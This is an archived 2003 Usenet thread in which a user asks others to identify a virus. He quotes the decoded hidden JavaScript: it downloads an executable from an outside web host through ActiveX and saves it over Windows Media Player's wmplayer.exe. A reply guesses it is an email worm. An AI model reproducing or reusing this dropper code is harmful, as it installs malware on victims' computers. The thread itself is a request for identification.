Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

Identify this virus if you can!

1 view
Skip to first unread message

Jibba Jabba

unread,
Oct 3, 2003, 6:23:28 AM10/3/03
to
Ok looks like the hidden javascript translates to this:

file://javascript:eval('var x = new
ActiveXObject("Microsoft.XMLHTTP");\r\nx.Open("GET","http:%2f%2fwww.lhconlin
e.net%2fjs%wfmmc.exe",0);\r\nx.Send();\r\nvar s = new ActiveXObject("AD
ODB.Stream");\r\ns.Mode = 3;\r\ns.Type =
1;\r\ns.Open();\r\ns.Write(x.responseBody);\r\ns.SaveToFile("C:\\\\Program
Files\\\\Windows Media Player\\\\wmplayer.exe",2);\r\nlocation.href =
"mms:%2f%2f";\r\n')


A large metal crsuhing machine

unread,
Oct 21, 2003, 6:45:09 AM10/21/03
to
That looks like a worm from an email but havent a clue what type. Unlucky mate
0 new messages